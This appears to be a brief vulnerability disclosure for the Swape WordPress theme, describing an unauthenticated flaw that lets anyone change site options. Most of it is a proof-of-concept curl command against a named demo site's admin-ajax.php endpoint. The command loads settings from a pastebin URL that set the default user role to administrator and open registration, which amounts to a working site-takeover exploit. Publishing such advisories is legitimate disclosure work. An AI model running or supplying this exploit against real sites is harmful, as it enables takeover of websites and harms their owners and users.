Swape Theme - Authentication Bypass and Stored XSS

Similar to https://wpvulndb.com/vulnerabilities/8061, but with no authentication The theme suffers from a privilege escalation vulnerability, any user can trigger this vulnerability due to weak permissions checking. An attacker can update options, such as changing user’s default role, registration state and others, which may lead to executing commands/code on the server and taking over the website.

PoC

or curl --request POST \ --url https://upperinc.com/previews/wp/swape/demo1/wp-admin/admin-ajax.php \ --header ‘content-type: multipart/form-data;’ \ --form action=call_upper_load_settings \ --form xmlPath=https://pastebin.com/raw/VCadYnh7 and the pastebin content is: default_role administrator users_can_register 1